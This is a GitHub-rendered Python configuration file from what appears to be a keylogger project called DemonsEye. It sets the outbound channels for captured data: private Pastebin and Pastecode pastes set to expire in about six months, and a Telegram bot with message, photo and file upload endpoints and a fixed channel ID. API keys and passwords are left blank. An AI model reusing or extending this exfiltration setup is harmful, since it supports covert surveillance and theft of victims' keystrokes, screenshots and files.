-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathconfig.py
53 lines (46 loc) · 3.14 KB
/
config.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Name: config.py
# Purpose: This file has the configuration of parameters that vary depending on some systems and
# that has sensitive data such as usernames, passwords and api keys.
#
# Author: Gabriel Marti Fuentes
# Notes: This file is distributed with some values not established for obvious reasons.
########################################################
# CONSTANTS
########################################################
# paste services ids
PASTE_PASTEBIN = 1 # Pastebin
PASTE_PASTECODE = 2 # Pastecode
# Pastebin
PASTEBIN_ENABLED = True # Enable or disable Pastebin send
PASTEBIN_POST_URL = 'https://pastebin.com/api/api_post.php' # Post url
PASTEBIN_API_DEV_KEY = '' # Your Pastebin API key
PASTEBIN_USER_NAME = '' # Username - if not set, then anonymous paste is made
PASTEBIN_PASSWORD = '' # Password
PASTEBIN_OPTION = 'paste' # Option
PASTEBIN_FORMAT = 'text' # Content type
PASTEBIN_POST_EXPIRE = '6M' # 6 Months
PASTEBIN_PRIVATE = 2 # public = 0, unlisted = 1, private = 2
# Pastecode
PASTECODE_ENABLED = True # Enable or disable
PASTECODE_POST_URL = 'https://pastecode.xyz/api/create' # Post url
PASTECODE_POST_FORMAT = 'text' # Content type
PASTECODE_POST_EXPIRE = 260000 # About 6 months (number of minutes)
PASTECODE_PRIVATE = 1 # Paste is private
# Telegram Bot / Channel - Created with Bofather https://core.telegram.org/bots#3-how-do-i-create-a-bot
# http://t.me/DemonsEyebot
# Info API https://core.telegram.org/bots/api
# https://api.telegram.org/bot[BOT_API_KEY]/sendMessage?chat_id=[MY_CHANNEL_NAME]&text=[MY_MESSAGE_TEXT]
TELEGRAM_BOT_ENABLED = True # Enable or disable
TELEGRAM_BOT_NAME = 'DemonsEye' # Name > not used
TELEGRAM_BOT_USERNAME = '@DemonsEyeKeylogger' # Username > not used
TELEGRAM_BOT_CHANNELID = -1001185988695 # Important. Read docs folder
TELEGRAM_BOT_TOKEN = '' # Important. Read docs folder
TELEGRAM_BOT_URL = 'https://api.telegram.org/bot' + TELEGRAM_BOT_TOKEN + '/'
TELEGRAM_BOT_GETME = 'getMe' # To get info about Bot
TELEGRAM_BOT_UPDATES = 'getUpdates' # To get channel updates > not user
TELEGRAM_BOT_SEND = 'sendMessage' # To send a message to channel
TELEGRAM_BOT_SENDPHOTO = 'sendPhoto' # To send a photo to channel
TELEGRAM_BOT_SENDFILE = 'sendFile' # To send a file to channel